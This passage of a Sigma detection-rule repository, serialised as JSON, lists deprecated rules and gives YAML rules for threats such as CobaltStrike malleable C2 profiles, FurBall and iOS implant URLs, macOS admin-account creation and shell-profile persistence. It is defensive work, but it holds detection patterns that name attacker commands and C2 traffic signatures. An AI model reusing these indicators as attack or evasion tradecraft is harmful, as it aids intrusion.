\"8e2b24c9-4add-46a0-b4bb-0057b4e6187d\",\n \"title\": \"Regsvr32 Anomaly\",\n \"date\": \"2019-01-16\",\n \"modified\": \"2023-05-26\",\n \"level\": \"high\"\n },\n {\n \"id\": \"fe6e002f-f244-4278-9263-20e4b593827f\",\n \"title\": \"Alternate PowerShell Hosts - Image\",\n \"date\": \"2019-09-12\",\n \"modified\": \"2023-06-01\",\n \"level\": \"low\"\n },\n {\n \"id\": \"9e77ed63-2ecf-4c7b-b09d-640834882028\",\n \"title\": \"PsExec Pipes Artifacts\",\n \"date\": \"2020-05-10\",\n \"modified\": \"2023-08-07\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"39776c99-1c7b-4ba0-b5aa-641525eee1a4\",\n \"title\": \"Execution via CL_Mutexverifiers.ps1\",\n \"date\": \"2020-10-14\",\n \"modified\": \"2023-08-17\",\n \"level\": \"high\"\n },\n {\n \"id\": \"4cd29327-685a-460e-9dac-c3ab96e549dc\",\n \"title\": \"Execution via CL_Invocation.ps1 - Powershell\",\n \"date\": \"2020-10-14\",\n \"modified\": \"2023-08-17\",\n \"level\": \"high\"\n },\n {\n \"id\": \"4e8d5fd3-c959-441f-a941-f73d0cdcdca5\",\n \"title\": \"Abusing Windows Telemetry For Persistence - Registry\",\n \"date\": \"2020-09-29\",\n \"modified\": \"2023-08-17\",\n \"level\": \"high\"\n },\n {\n \"id\": \"7c637634-c95d-4bbf-b26c-a82510874b34\",\n \"title\": \"Disable Microsoft Office Security Features\",\n \"date\": \"2021-06-08\",\n \"modified\": \"2023-08-17\",\n \"level\": \"high\"\n },\n {\n \"id\": \"8a58209c-7ae6-4027-afb0-307a78e4589a\",\n \"title\": \"User Account Hidden By Registry\",\n \"date\": \"2022-08-20\",\n \"modified\": \"2023-08-17\",\n \"level\": \"high\"\n },\n {\n \"id\": \"9b894e57-033f-46cf-b7fa-a52804181973\",\n \"title\": \"Office Security Settings Changed\",\n \"date\": \"2020-05-22\",\n \"modified\": \"2023-08-17\",\n \"level\": \"high\"\n },\n {\n \"id\": \"c81fe886-cac0-4913-a511-2822d72ff505\",\n \"title\": \"SilentProcessExit Monitor Registration\",\n \"date\": \"2021-02-26\",\n \"modified\": \"2023-08-17\",\n \"level\": \"high\"\n },\n {\n \"id\": \"0c1ffcf9-efa9-436e-ab68-23a9496ebf5b\",\n \"title\": \"User Added To Admin Group - MacOS\",\n \"date\": \"2023-03-19\",\n \"modified\": \"2023-08-22\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"5b80cf53-3a46-4adc-960b-05ec19348d74\",\n \"title\": \"Wscript Execution from Non C Drive\",\n \"date\": \"2022-10-01\",\n \"modified\": \"2023-08-29\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"5e3d3601-0662-4af0-b1d2-36a05e90c40a\",\n \"title\": \"LSASS Memory Dump File Creation\",\n \"date\": \"2019-10-22\",\n \"modified\": \"2023-08-29\",\n \"level\": \"high\"\n },\n {\n \"id\": \"839f1ee1-292d-495a-bf37-818267b8ee82\",\n \"title\": \"Vulnerable Driver Load By Name\",\n \"date\": \"2022-10-03\",\n \"modified\": \"2023-09-03\",\n \"level\": \"low\"\n },\n {\n \"id\": \"21b23707-60d6-41bb-96e3-0f0481b0fed9\",\n \"title\": \"Vulnerable Dell BIOS Update Driver Load\",\n \"date\": \"2021-05-05\",\n \"modified\": \"2023-09-12\",\n \"level\": \"high\"\n },\n {\n \"id\": \"7bcfeece-e5ed-4ff3-a5fb-2640d8cc8647\",\n \"title\": \"Vulnerable GIGABYTE Driver Load\",\n \"date\": \"2022-07-25\",\n \"modified\": \"2023-09-12\",\n \"level\": \"high\"\n },\n {\n \"id\": \"7c676970-af4f-43c8-80af-ec9b49952852\",\n \"title\": \"Vulnerable AVAST Anti Rootkit Driver Load\",\n \"date\": \"2022-07-28\",\n \"modified\": \"2023-09-12\",\n \"level\": \"high\"\n },\n {\n \"id\": \"9bacc538-d1b9-4d42-862e-469eafc05a41\",\n \"title\": \"Vulnerable HW Driver Load\",\n \"date\": \"2022-07-26\",\n \"modified\": \"2023-09-12\",\n \"level\": \"high\"\n },\n {\n \"id\": \"ac683a42-877b-4ff8-91ac-69e94b0f70b4\",\n \"title\": \"Vulnerable Lenovo Driver Load\",\n \"date\": \"2022-11-10\",\n \"modified\": \"2023-09-12\",\n \"level\": \"high\"\n },\n {\n \"id\": \"91bc09e7-674d-4cf5-8d86-ed5d8bdb95a6\",\n \"title\": \"Usage Of Malicious POORTRY Signed Driver\",\n \"date\": \"2022-12-16\",\n \"modified\": \"2023-09-13\",\n \"level\": \"high\"\n },\n {\n \"id\": \"d7825193-b70a-48a4-b992-8b5b3015cc11\",\n \"title\": \"Windows Update Client LOLBIN\",\n \"date\": \"2020-10-17\",\n \"modified\": \"2023-11-11\",\n \"level\": \"high\"\n },\n {\n \"id\": \"ca83e9f3-657a-45d0-88d6-c1ac280caf53\",\n \"title\": \"New Service Uses Double Ampersand in Path\",\n \"date\": \"2022-07-05\",\n \"modified\": \"2023-11-15\",\n \"level\": \"high\"\n },\n {\n \"id\": \"fe34868f-6e0e-4882-81f6-c43aa8f15b62\",\n \"title\": \"Windows Defender Threat Detection Disabled\",\n \"date\": \"2020-07-28\",\n \"modified\": \"2023-11-22\",\n \"level\": \"high\"\n },\n {\n \"id\": \"32d0d3e2-e58d-4d41-926b-18b520b2b32d\",\n \"title\": \"Credential Dumping Tools Accessing LSASS Memory\",\n \"date\": \"2017-02-16\",\n \"modified\": \"2023-11-30\",\n \"level\": \"high\"\n },\n {\n \"id\": \"a122ac13-daf8-4175-83a2-72c387be339d\",\n \"title\": \"Security Event Log Cleared\",\n \"date\": \"2021-08-15\",\n \"modified\": \"2023-12-06\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"0332a266-b584-47b4-933d-a00b103e1b37\",\n \"title\": \"Suspicious Get-WmiObject\",\n \"date\": \"2022-01-12\",\n \"modified\": \"2023-12-11\",\n \"level\": \"low\"\n },\n {\n \"id\": \"46deb5e1-28c9-4905-b2df-51cdcc9e6073\",\n \"title\": \"PowerShell Scripts Run by a Services\",\n \"date\": \"2020-10-06\",\n \"modified\": \"2023-12-11\",\n \"level\": \"high\"\n },\n {\n \"id\": \"d23f2ba5-9da0-4463-8908-8ee47f614bb9\",\n \"title\": \"Powershell File and Directory Discovery\",\n \"date\": \"2021-12-15\",\n \"modified\": \"2023-12-11\",\n \"level\": \"low\"\n },\n {\n \"id\": \"df5ff0a5-f83f-4a5b-bba1-3e6a3f6f6ea2\",\n \"title\": \"Credential Dumping Tools Service Execution\",\n \"date\": \"2017-03-05\",\n \"modified\": \"2023-12-11\",\n \"level\": \"critical\"\n },\n {\n \"id\": \"602a1f13-c640-4d73-b053-be9a2fa58b77\",\n \"title\": \"Svchost DLL Search Order Hijack\",\n \"date\": \"2019-10-28\",\n \"modified\": \"2024-01-10\",\n \"level\": \"high\"\n },\n {\n \"id\": \"839dd1e8-eda8-4834-8145-01beeee33acd\",\n \"title\": \"SAM Dump to AppData\",\n \"date\": \"2018-01-27\",\n \"modified\": \"2024-01-18\",\n \"level\": \"high\"\n },\n {\n \"id\": \"e32ce4f5-46c6-4c47-ba69-5de3c9193cd7\",\n \"title\": \"Possible Process Hollowing Image Loading\",\n \"date\": \"2018-01-07\",\n \"modified\": \"2024-01-22\",\n \"level\": \"high\"\n },\n {\n \"id\": \"a6d67db4-6220-436d-8afc-f3842fe05d43\",\n \"title\": \"Dnscat Execution\",\n \"date\": \"2019-10-24\",\n \"modified\": \"2024-01-25\",\n \"level\": \"critical\"\n },\n {\n \"id\": \"d7b09985-95a3-44be-8450-b6eadf49833e\",\n \"title\": \"Suspicious Non-Browser Network Communication With Reddit API\",\n \"date\": \"2023-02-16\",\n \"modified\": \"2024-02-02\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"37325383-740a-403d-b1a2-b2b4ab7992e7\",\n \"title\": \"CobaltStrike Malleable (OCSP) Profile\",\n \"date\": \"2019-11-12\",\n \"modified\": \"2024-02-15\",\n \"level\": \"high\"\n },\n {\n \"id\": \"41b42a36-f62c-4c34-bd40-8cb804a34ad8\",\n \"title\": \"CobaltStrike Malformed UAs in Malleable Profiles\",\n \"date\": \"2021-05-06\",\n \"modified\": \"2024-02-15\",\n \"level\": \"critical\"\n },\n {\n \"id\": \"953b895e-5cc9-454b-b183-7f3db555452e\",\n \"title\": \"CobaltStrike Malleable Amazon Browsing Traffic Profile\",\n \"date\": \"2019-11-12\",\n \"modified\": \"2024-02-15\",\n \"level\": \"high\"\n },\n {\n \"id\": \"c9b33401-cc6a-4cf6-83bb-57ddcb2407fc\",\n \"title\": \"CobaltStrike Malleable OneDrive Browsing Traffic Profile\",\n \"date\": \"2019-11-12\",\n \"modified\": \"2024-02-15\",\n \"level\": \"high\"\n },\n {\n \"id\": \"73fcad2e-ff14-4c38-b11d-4172c8ac86c7\",\n \"title\": \"Suspicious Rundll32 Script in CommandLine\",\n \"date\": \"2021-12-04\",\n \"modified\": \"2024-02-23\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"9f06447a-a33a-4cbe-a94f-a3f43184a7a3\",\n \"title\": \"Rundll32 JS RunHTMLApplication Pattern\",\n \"date\": \"2022-01-14\",\n \"modified\": \"2024-02-23\",\n \"level\": \"high\"\n },\n {\n \"id\": \"e06ac91d-b9e6-443d-8e5b-af749e7aa6b6\",\n \"title\": \"iOS Implant URL Pattern\",\n \"date\": \"2019-08-30\",\n \"modified\": \"2024-02-26\",\n \"level\": \"critical\"\n },\n {\n \"id\": \"628d7a0b-7b84-4466-8552-e6138bc03b43\",\n \"title\": \"Suspicious Epmap Connection\",\n \"date\": \"2022-07-14\",\n \"modified\": \"2024-03-01\",\n \"level\": \"high\"\n },\n {\n \"id\": \"9433ff9c-5d3f-4269-99f8-95fc826ea489\",\n \"title\": \"CrackMapExec File Creation Patterns\",\n \"date\": \"2022-03-12\",\n \"modified\": \"2024-03-01\",\n \"level\": \"high\"\n },\n {\n \"id\": \"c625c4c2-515d-407f-8bb6-456f65955669\",\n \"title\": \"Service Binary in Uncommon Folder\",\n \"date\": \"2022-05-02\",\n \"modified\": \"2024-03-25\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"42f0e038-767e-4b85-9d96-2c6335bad0b5\",\n \"title\": \"Adwind RAT / JRAT - Registry\",\n \"date\": \"2017-11-10\",\n \"modified\": \"2024-03-26\",\n \"level\": \"high\"\n },\n {\n \"id\": \"5039f3d2-406a-4c1a-9350-7a5a85dc84c2\",\n \"title\": \"Search-ms and WebDAV Suspicious Indicators in URL\",\n \"date\": \"2023-08-21\",\n \"modified\": \"2024-05-10\",\n \"level\": \"high\"\n },\n {\n \"id\": \"b916cba1-b38a-42da-9223-17114d846fd6\",\n \"title\": \"Potential NT API Stub Patching\",\n \"date\": \"2023-01-07\",\n \"modified\": \"2024-05-27\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"3d968d17-ffa4-4bc0-bfdc-f139de76ce77\",\n \"title\": \"Potential Persistence Via COM Hijacking From Suspicious Locations\",\n \"date\": \"2022-07-28\",\n \"modified\": \"2024-07-16\",\n \"level\": \"high\"\n },\n {\n \"id\": \"1a3d42dd-3763-46b9-8025-b5f17f340dfb\",\n \"title\": \"Suspicious Unattend.xml File Access\",\n \"date\": \"2021-12-19\",\n \"modified\": \"2024-07-22\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"6902955a-01b7-432c-b32a-6f5f81d8f624\",\n \"title\": \"Suspicious File Event With Teams Objects\",\n \"date\": \"2022-09-16\",\n \"modified\": \"2024-07-22\",\n \"level\": \"high\"\n },\n {\n \"id\": \"a0ff33d8-79e4-4cef-b4f3-9dc4133ccd12\",\n \"title\": \"Potential Persistence Via COM Search Order Hijacking\",\n \"date\": \"2020-04-14\",\n \"modified\": \"2024-09-02\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"a33f8808-2812-4373-ae95-8cfb82134978\",\n \"title\": \"Windows Defender Exclusion Deleted\",\n \"date\": \"2019-10-26\",\n \"modified\": \"2025-01-30\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"e17121b4-ef2a-4418-8a59-12fb1631fa9e\",\n \"title\": \"Delete Volume Shadow Copies via WMI with PowerShell - PS Script\",\n \"date\": \"2021-12-26\",\n \"modified\": \"2025-05-20\",\n \"level\": \"high\"\n },\n {\n \"id\": \"6e897651-f157-4d8f-aaeb-df8151488385\",\n \"title\": \"PowerShell Web Download\",\n \"date\": \"2022-03-24\",\n \"modified\": \"2025-07-18\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"f748c45a-f8d3-4e6f-b617-fe176f695b8f\",\n \"title\": \".RDP File Created by Outlook Process\",\n \"date\": \"2024-11-01\",\n \"modified\": \"2025-07-22\",\n \"level\": \"high\"\n },\n {\n \"id\": \"a2a3b925-7bb0-433b-b508-db9003263cc4\",\n \"title\": \"Active Directory Parsing DLL Loaded Via Office Application\",\n \"date\": \"2020-02-19\",\n \"modified\": \"2025-10-17\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"cdeef967-f9a1-4375-90ee-6978c5f23974\",\n \"title\": \"Azure Application Credential Modified\",\n \"date\": \"2021-09-02\",\n \"modified\": \"2025-10-17\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"8f70ac5f-1f6f-4f8e-b454-db19561216c5\",\n \"title\": \"PowerShell DownloadFile\",\n \"date\": \"2020-08-28\",\n \"modified\": \"2025-10-20\",\n \"level\": \"high\"\n },\n {\n \"id\": \"e28a5a99-da44-436d-b7a0-2afc20a5f413\",\n \"title\": \"Whoami Utility Execution\",\n \"date\": \"2018-08-13\",\n \"modified\": \"2025-10-20\",\n \"level\": \"low\"\n },\n {\n \"id\": \"7417e29e-c2e7-4cf6-a2e8-767228c64837\",\n \"title\": \"Active Directory Kerberos DLL Loaded Via Office Application\",\n \"date\": \"2020-02-19\",\n \"modified\": \"2025-10-22\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"879c3015-c88b-4782-93d7-07adf92dbcb7\",\n \"title\": \"Space After Filename\",\n \"date\": \"2020-06-17\",\n \"modified\": \"2025-11-22\",\n \"level\": \"low\"\n },\n {\n \"id\": \"e710a880-1f18-4417-b6a0-b5afdf7e305a\",\n \"title\": \"Atomic MacOS Stealer - FileGrabber Infostealer Execution\",\n \"date\": \"2025-09-12\",\n \"modified\": \"2025-11-22\",\n \"level\": \"high\"\n },\n {\n \"id\": \"4be03877-d5b6-4520-85c9-a5911c0a656c\",\n \"title\": \"FileFix - Suspicious Child Process from Browser File Upload Abuse\",\n \"date\": \"2025-06-26\",\n \"modified\": \"2025-11-24\",\n \"level\": \"high\"\n },\n {\n \"id\": \"6e30c82f-a9f8-4aab-b79c-7c12bce6f248\",\n \"title\": \"File Download Via Bitsadmin To An Uncommon Target Folder\",\n \"date\": \"2022-06-28\",\n \"modified\": \"2025-12-10\",\n \"level\": \"medium\"\n }\n]"
},
{
"path": "deprecated/linux/lnx_auditd_alter_bash_profile.yml",
"content": "title: Edit of .bash_profile and .bashrc\nid: e74e15cc-c4b6-4c80-b7eb-dfe49feb7fe9\nstatus: deprecated\ndescription: Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell.\nreferences:\n - 'MITRE Attack technique T1156; .bash_profile and .bashrc. '\nauthor: Peter Matkovski\ndate: 2019/05/12\nmodified: 2023/03/23\ntags:\n - attack.s0003\n - attack.persistence\n - attack.t1546.004\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'PATH'\n name:\n - '/root/.bashrc'\n - '/root/.bash_profile'\n - '/root/.profile'\n - '/home/*/.bashrc'\n - '/home/*/.bash_profile'\n - '/home/*/.profile'\n - '/etc/profile'\n - '/etc/shells'\n - '/etc/bashrc'\n - '/etc/csh.cshrc'\n - '/etc/csh.login'\n condition: selection\nfalsepositives:\n - Admin or User activity\nlevel: medium\n"
},
{
"path": "deprecated/linux/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml",
"content": "title: OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd\nid: 045b5f9c-49f7-4419-a236-9854fb3c827a\nstatus: unsupported # This rule requires correlations. See https://github.com/SigmaHQ/sigma/discussions/4440#discussioncomment-7070862 and https://user-images.githubusercontent.com/9653181/133756156-4fb9c2b1-aa65-4380-957b-72170de36fc4.png\ndescription: |\n Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\n SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager.\n Microsoft Azure, and Microsoft Operations Management Suite.\nreferences:\n - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure\n - https://github.com/Azure/Azure-Sentinel/pull/3059\nauthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)\ndate: 2021-09-17\nmodified: 2024-09-02\ntags:\n - attack.privilege-escalation\n - attack.initial-access\n - attack.execution\n - attack.t1068\n - attack.t1190\n - attack.t1203\nlogsource:\n product: linux\n service: auditd\ndetection:\n selection:\n type: 'SYSCALL'\n syscall: 'execve'\n uid: 0\n cwd: '/var/opt/microsoft/scx/tmp'\n comm: 'sh'\n condition: selection\nfalsepositives:\n - Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand.\nlevel: high\n"
},
{
"path": "deprecated/linux/lnx_space_after_filename_.yml",
"content": "title: Space After Filename\nid: 879c3015-c88b-4782-93d7-07adf92dbcb7\nstatus: deprecated\ndescription: Detects space after filename\nauthor: Ömer Günal\ndate: 2020-06-17\nmodified: 2025-11-22\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n product: linux\ndetection:\n selection1:\n - 'echo \"*\" > * && chmod +x *'\n selection2:\n - 'mv * \"* \"'\n condition: all of selection*\nfalsepositives:\n - Typos\nlevel: low\n"
},
{
"path": "deprecated/macos/proc_creation_macos_add_to_admin_group.yml",
"content": "title: User Added To Admin Group - MacOS\nid: 0c1ffcf9-efa9-436e-ab68-23a9496ebf5b\nstatus: deprecated\ndescription: Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-3---create-local-account-with-admin-privileges-using-sysadminctl-utility---macos\n - https://ss64.com/osx/dscl.html\n - https://ss64.com/osx/sysadminctl.html\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023/03/19\nmodified: 2023/08/22\ntags:\n - attack.t1078.003\n - attack.initial_access\n - attack.privilege_escalation\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_sysadminctl: #creates and adds new user to admin group\n Image|endswith: '/sysadminctl'\n CommandLine|contains|all:\n - ' -addUser '\n - ' -admin '\n selection_dscl: #adds to admin group\n Image|endswith: '/dscl'\n CommandLine|contains|all:\n - ' -append '\n - ' /Groups/admin '\n - ' GroupMembership '\n condition: 1 of selection_*\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "deprecated/macos/proc_creation_macos_malware_amos_filegrabber_exec.yml",
"content": "title: Atomic MacOS Stealer - FileGrabber Infostealer Execution\nid: e710a880-1f18-4417-b6a0-b5afdf7e305a\nstatus: deprecated\ndescription: |\n Detects the execution of FileGrabber on macOS, which is associated with Amos infostealer campaigns targeting sensitive user files.\nreferences:\n - https://www.trendmicro.com/en_us/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html\n - https://www.jamf.com/blog/infostealers-pose-threat-to-macos/\nauthor: Jason Phang Vern - Onn (Gen Digital)\ndate: 2025-09-12\nmodified: 2025-11-22\ntags:\n - attack.execution\n - attack.t1059.002\n - detection.emerging-threats\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n CommandLine|contains|all:\n - 'FileGrabber'\n - '/tmp'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/other/generic_brute_force.yml",
"content": "title: Brute Force\nid: 53c7cca0-2901-493a-95db-d00d6fcf0a37\nstatus: deprecated\ndescription: Detects many authentication failures from one source to one destination which is may indicate Brute Force activity\nauthor: Aleksandr Akhremchik, oscd.community\ndate: 2019/10/25\nmodified: 2022/11/04\nlogsource:\n category: authentication\ndetection:\n selection:\n action: failure\n timeframe: 600s\n condition: selection | count(category) by dst_ip > 30\nfields:\n - src_ip\n - dst_ip\n - user\nfalsepositives:\n - Inventarization\n - Vulnerability scanner\n - Legitimate application\nlevel: medium\ntags:\n - attack.credential_access\n - attack.t1110\n"
},
{
"path": "deprecated/web/proxy_apt_domestic_kitten.yml",
"content": "title: Domestic Kitten FurBall Malware Pattern\nid: 6c939dfa-c710-4e12-a4dd-47e1f10e68e1\nstatus: deprecated\ndescription: Detects specific malware patterns used by FurBall malware linked to Iranian Domestic Kitten APT group\nreferences:\n - https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/\nauthor: Florian Roth (Nextron Systems)\ndate: 2021/02/08\nmodified: 2023/04/20\ntags:\n - attack.command_and_control\nlogsource:\n category: proxy\ndetection:\n selection:\n c-uri|contains:\n - 'Get~~~AllBrowser'\n - 'Get~~~HardwareInfo'\n - 'Take~~RecordCall'\n - 'Reset~~~AllCommand'\n condition: selection\nfields:\n - c-ip\n - c-uri\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "deprecated/web/proxy_cobalt_amazon.yml",
"content": "title: CobaltStrike Malleable Amazon Browsing Traffic Profile\nid: 953b895e-5cc9-454b-b183-7f3db555452e\nstatus: deprecated\ndescription: Detects Malleable Amazon Profile\nreferences:\n - https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile\n - https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100\nauthor: Markus Neis\ndate: 2019/11/12\nmodified: 2024/02/15\ntags:\n - attack.defense_evasion\n - attack.command_and_control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection_1:\n c-useragent: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'\n cs-method: 'GET'\n c-uri: '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books'\n cs-host: 'www.amazon.com'\n cs-cookie|endswith: '=csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996'\n selection_2:\n c-useragent: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'\n cs-method: 'POST'\n c-uri: '/N4215/adj/amzn.us.sr.aps'\n cs-host: 'www.amazon.com'\n condition: 1 of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/web/proxy_cobalt_malformed_uas.yml",
"content": "title: CobaltStrike Malformed UAs in Malleable Profiles\nid: 41b42a36-f62c-4c34-bd40-8cb804a34ad8\nstatus: deprecated\ndescription: Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike\nreferences:\n - https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/\nauthor: Florian Roth (Nextron Systems)\ndate: 2021/05/06\nmodified: 2024/02/15\ntags:\n - attack.defense_evasion\n - attack.command_and_control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection1:\n c-useragent:\n - 'Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)'\n - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E )'\n - 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08'\n selection2:\n c-useragent|endswith: '; MANM; MANM)'\n condition: 1 of selection*\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "deprecated/web/proxy_cobalt_ocsp.yml",
"content": "title: CobaltStrike Malleable (OCSP) Profile\nid: 37325383-740a-403d-b1a2-b2b4ab7992e7\nstatus: deprecated\ndescription: Detects Malleable (OCSP) Profile with Typo (OSCP) in URL\nreferences:\n - https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile\nauthor: Markus Neis\ndate: 2019/11/12\nmodified: 2024/02/15\ntags:\n - attack.defense_evasion\n - attack.command_and_control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-uri|contains: '/oscp/'\n cs-host: 'ocsp.verisign.com'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/web/proxy_cobalt_onedrive.yml",
"content": "title: CobaltStrike Malleable OneDrive Browsing Traffic Profile\nid: c9b33401-cc6a-4cf6-83bb-57ddcb2407fc\nstatus: deprecated\ndescription: Detects Malleable OneDrive Profile\nreferences:\n - https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile\nauthor: Markus Neis\ndate: 2019/11/12\nmodified: 2024/02/15\ntags:\n - attack.defense_evasion\n - attack.command_and_control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n cs-method: 'GET'\n c-uri|endswith: '\\?manifest=wac'\n cs-host: 'onedrive.live.com'\n filter:\n c-uri|startswith: 'http'\n c-uri|contains: '://onedrive.live.com/'\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/web/proxy_ios_implant.yml",
"content": "title: iOS Implant URL Pattern\nid: e06ac91d-b9e6-443d-8e5b-af749e7aa6b6\nstatus: deprecated # Deprecated to being related to Ios so logging will vary and its old\ndescription: Detects URL pattern used by iOS Implant\nreferences:\n - https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html\n - https://twitter.com/craiu/status/1167358457344925696\nauthor: Florian Roth (Nextron Systems)\ndate: 2019/08/30\nmodified: 2024/02/26\ntags:\n - attack.execution\n - attack.t1203\n - attack.collection\n - attack.t1005\n - attack.t1119\n - attack.credential_access\n - attack.t1528\n - attack.t1552.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-uri|contains: '/list/suc\\?name='\n condition: selection\nfields:\n - ClientIP\n - c-uri\n - c-useragent\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "deprecated/web/proxy_webdav_search_ms.yml",
"content": "title: Search-ms and WebDAV Suspicious Indicators in URL\nid: 5039f3d2-406a-4c1a-9350-7a5a85dc84c2\nstatus: deprecated # See https://github.com/SigmaHQ/sigma/pull/4845\ndescription: Detects URL pattern used by search(-ms)/WebDAV initial access campaigns.\nreferences:\n - https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html\n - https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462\nauthor: Micah Babinski\ndate: 2023/08/21\nmodified: 2024/05/10\ntags:\n - attack.initial_access\n - attack.t1584\n - attack.t1566\nlogsource:\n category: proxy\ndetection:\n selection_search_ms:\n c-uri|contains|all:\n - 'search' # Matches on search:query= or search-ms:query=\n - ':query='\n - 'webdav'\n selection_search_term:\n c-uri|contains:\n # Note: Add additional keywords for additional coverage\n - 'agreement'\n - 'invoice'\n - 'notice'\n - 'payment'\n filter_main_local_ips:\n dst_ip|cidr:\n - '127.0.0.0/8'\n - '10.0.0.0/8'\n - '172.16.0.0/12'\n - '192.168.0.0/16'\n - '169.254.0.0/16'\n - '::1/128' # IPv6 loopback\n - 'fe80::/10' # IPv6 link-local addresses\n - 'fc00::/7' # IPv6 private addresses\n condition: all of selection_* and not 1 of filter_main_*\nfalsepositives:\n - Unknown\nlevel: high"
},
{
"path": "deprecated/windows/create_remote_thread_win_susp_remote_thread_target.yml",
"content": "title: Suspicious Remote Thread Target\nid: f016c716-754a-467f-a39e-63c06f773987\nstatus: deprecated\ndescription: |\n Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\n This rule aims to detect suspicious processes (those we would not expect to behave in this way like winword.exe or outlook.exe) creating remote threads on other processes.\n It is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\nreferences:\n - https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/\nauthor: Florian Roth (Nextron Systems)\ndate: 2022/08/25\nmodified: 2023/05/05\nlogsource:\n product: windows\n category: create_remote_thread\ndetection:\n selection:\n TargetImage|endswith:\n - '\\spoolsv.exe'\n - '\\notepad.exe'\n filter:\n - SourceImage|endswith: '\\csrss.exe'\n - SourceImage|contains: 'unknown process'\n - StartFunction: 'EtwpNotificationThread'\n condition: selection and not filter\nfields:\n - ComputerName\n - User\n - SourceImage\n - TargetImage\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/driver_load_win_mal_creddumper.yml",
